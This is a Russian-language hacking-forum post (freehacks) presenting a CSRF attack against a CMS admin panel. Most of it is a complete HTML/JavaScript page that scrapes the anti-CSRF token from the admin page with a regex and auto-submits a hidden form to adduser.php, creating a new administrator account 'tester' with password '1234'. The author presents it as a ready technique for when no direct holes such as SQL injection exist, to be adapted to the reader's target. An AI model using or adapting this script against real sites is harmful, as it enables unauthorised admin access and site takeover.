Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
HashFlare
Показано с 1 по 1 из 1
  1. #1
    Trust
    TopicStarter
    Красава
    Аватар для Develop

    Статус
    Offline
    Регистрация
    27.07.2013
    Сообщений
    397
    Репутация
    77 + / -
    Web-программист

    [видео] csrf атака

    Привет.
    Хотел бы показать как устраивать CSRF атаку.
    Часто помогает, если нету прямых уязвимостей типа: php include, sqli.
    Причем зачастую очень легко эксплуатируется.
    Сам скрипт:
    Код:

    Код:
    <html>
     <body>
    
     <script>
     function GetXmlHttpObject()
     { 
     var objXMLHttp=null;
     if (window.XMLHttpRequest)
     {
     objXMLHttp=new XMLHttpRequest();
     }
     else 
     if (window.ActiveXObject)
     {
     objXMLHttp=new ActiveXObject("Microsoft.XMLHTTP");
     }
     return objXMLHttp;
     }
    
     function stateChanged() 
     { 
     if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
     { 
     var str = xmlHttp.responseText; // Получаем страницу.
     var regexp = /_sx_=[A-Za-z0-9_]{8}/gi; // Шаблон регулярного выражения ищет все буквы и цифры. {8} - Показывает что 8 символов.
     var matches = str.match(regexp); // Выполняем поиск по регулярному выражению, и заносим в массив.
     var attack_url = "http://localhost/cms/admin/adduser.php?_sx_=" + matches[0]; // Формируем запрос.
     document.getElementById('1234').action = attack_url; // Формируем запрос в form
     document.getElementById('sx').value = matches[0]; // Заносим anti csrf токкен в скрипт, что-бы выполнить запрос.
     } 
     }
    
     xmlHttp=GetXmlHttpObject();
     var url="http://localhost/cms/admin/index.php";
     xmlHttp.onreadystatechange = stateChanged;
     xmlHttp.open("GET",url,true); // Выполняем запрос
     xmlHttp.send(null); 
     </script>
    <form id="1234" method="post" class="cms_form" enctype="multipart/form-data" >
    <input type="hidden" name="user" value="tester" />
    <input type="hidden" name="_sx_" id="sx" />
    <input type="hidden" name="password" value="1234" />
    <input type="hidden" name="passwordagain" value="1234" />
    <input type="hidden" name="active" value="on" />
    <input type="hidden" name="groups" value="1" />
    <input type="hidden" name="g1" value="1" />
    <input type="hidden" name="adduser" value="true" />
    <input type="submit">
    </form>
    
     </body>
     </html>
    Это всего лишь пример, для ваших нужд, вам надо будет его поправлять.
    И да, если вы зальете данный файл на хост1, а админка будет на хост2, то ничего не получится, в JS запрещенно выполнять междоменные запросы.

    Вся информация на видео:
    [Только зарегистрированные могут видеть это. ]

    Спасибо за внимание.
    Последний раз редактировалось admin; 28.08.2013 в 13:51.

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.